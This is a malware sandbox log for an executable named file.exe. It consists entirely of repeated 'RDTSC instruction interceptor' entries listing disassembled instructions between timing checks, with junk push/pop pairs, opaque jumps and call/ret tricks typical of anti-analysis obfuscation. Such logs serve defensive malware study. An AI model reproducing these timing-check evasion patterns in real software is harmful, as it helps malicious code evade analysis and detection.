Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654B89 second address: 654B93 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1AA0DFCFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654B93 second address: 654B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654B99 second address: 654B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654FFB second address: 655007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655007 second address: 655087 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007F1AA0DFCFD6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edx 0x0000001a jmp 00007F1AA0DFCFDCh 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jo 00007F1AA0DFCFE2h 0x0000002a jnc 00007F1AA0DFCFDCh 0x00000030 pop eax 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F1AA0DFCFD8h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b jmp 00007F1AA0DFCFE1h 0x00000050 or edi, 0C6C5B56h 0x00000056 call 00007F1AA0DFCFD9h 0x0000005b push eax 0x0000005c push edx 0x0000005d push ebx 0x0000005e push eax 0x0000005f pop eax 0x00000060 pop ebx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65520F second address: 655213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655361 second address: 655365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6554CF second address: 6554D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6554D3 second address: 6554D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6554D9 second address: 65552A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1AA0B73DC8h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+1246685Ch], eax 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F1AA0B73DB8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov ecx, esi 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65552A second address: 655530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655923 second address: 655928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655C0F second address: 655C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655CDD second address: 655D00 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a or cx, 21CCh 0x0000000f lea eax, dword ptr [ebp+12479721h] 0x00000015 mov di, BA7Dh 0x00000019 nop 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d ja 00007F1AA0B73DB6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655D00 second address: 655D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655D04 second address: 655D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1AA0B73DBEh 0x0000000c jmp 00007F1AA0B73DC3h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655D34 second address: 655D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CAFB second address: 68CB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CB01 second address: 68CB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CEEB second address: 68CEFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CEFD second address: 68CF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1AA0DFCFD6h 0x0000000a jmp 00007F1AA0DFCFE0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68CF17 second address: 68CF1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D21A second address: 68D226 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F1AA0DFCFD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D393 second address: 68D3A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007F1AA0B73DB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D3A0 second address: 68D3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007F1AA0DFCFD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69619F second address: 6961A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6961A3 second address: 6961BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE4h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696330 second address: 696334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6965AB second address: 6965CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1AA0DFCFE8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6965CB second address: 6965E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1AA0B73DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6965E6 second address: 6965FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6965FF second address: 696607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696607 second address: 696614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F1AA0DFCFDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6968CD second address: 6968DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jl 00007F1AA0B73DB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696A18 second address: 696A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696A22 second address: 696A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F1AA0B73DC4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696BF2 second address: 696C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jns 00007F1AA0DFCFD6h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696C01 second address: 696C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1AA0B73DB6h 0x0000000a ja 00007F1AA0B73DB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696C11 second address: 696C1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6975DB second address: 6975DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A526 second address: 69A546 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1AA0DFCFE2h 0x00000008 jmp 00007F1AA0DFCFDAh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 ja 00007F1AA0DFCFE4h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A546 second address: 69A54A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A6D8 second address: 69A6DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A6DC second address: 69A6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1AA0B73DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A6E8 second address: 69A6EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A6EE second address: 69A6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A6F4 second address: 69A6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60673B second address: 606751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1AA0B73DF3h 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F1AA0B73DB6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606751 second address: 606755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CEED second address: 69CF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F1AA0B73DD4h 0x00000012 jmp 00007F1AA0B73DC5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3455 second address: 6A345E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A345E second address: 6A3463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3463 second address: 6A3469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3469 second address: 6A3471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1E03 second address: 6A1E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1AA0DFCFE4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1E1D second address: 6A1E26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1F99 second address: 6A1FA3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1AA0DFCFD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2122 second address: 6A2126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2277 second address: 6A2281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1AA0DFCFD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2281 second address: 6A2285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65568C second address: 655690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655690 second address: 655694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655694 second address: 65569E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65569E second address: 6556A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6556A2 second address: 655750 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F1AA0DFCFD8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 xor dword ptr [ebp+1243A979h], eax 0x0000002d mov ebx, dword ptr [ebp+12479760h] 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F1AA0DFCFD8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d xor edi, dword ptr [ebp+12450539h] 0x00000053 add eax, ebx 0x00000055 mov dh, ch 0x00000057 jmp 00007F1AA0DFCFE3h 0x0000005c nop 0x0000005d push edi 0x0000005e jmp 00007F1AA0DFCFDBh 0x00000063 pop edi 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F1AA0DFCFE9h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655750 second address: 65579E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F1AA0B73DB8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D3317h], esi 0x0000002b jne 00007F1AA0B73DBCh 0x00000031 push 00000004h 0x00000033 add dword ptr [ebp+122D1CE4h], edx 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c push edx 0x0000003d push edi 0x0000003e pop edi 0x0000003f pop edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65579E second address: 6557A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1AA0DFCFD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A251B second address: 6A251F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A251F second address: 6A2547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0DFCFDCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F1AA0DFCFDEh 0x00000011 jno 00007F1AA0DFCFD6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 jg 00007F1AA0DFCFE2h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6080C8 second address: 6080CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6080CC second address: 6080F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F1AA0DFCFD6h 0x00000011 jmp 00007F1AA0DFCFE0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A67AE second address: 6A67B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6AAE second address: 6A6AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6AB4 second address: 6A6AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6AB8 second address: 6A6ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6DFA second address: 6A6DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6DFE second address: 6A6E16 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1AA0DFCFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F1AA0DFCFD6h 0x00000012 jng 00007F1AA0DFCFD6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6E16 second address: 6A6E2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1683 second address: 6B1689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1689 second address: 6B168F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B19CA second address: 6B19D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B19D0 second address: 6B19F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1AA0B73DB8h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F1AA0B73DC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B19F3 second address: 6B1A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1AA0DFCFDBh 0x0000000e jnl 00007F1AA0DFCFE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1D2F second address: 6B1D33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1D33 second address: 6B1D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0DFCFDFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2072 second address: 6B207F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F1AA0B73DB6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B207F second address: 6B208A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F1AA0DFCFD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B208A second address: 6B2092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B232A second address: 6B2333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2333 second address: 6B2337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2337 second address: 6B2341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2341 second address: 6B2347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2664 second address: 6B267B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1AA0DFCFE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B267B second address: 6B2687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1AA0B73DB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2687 second address: 6B2690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
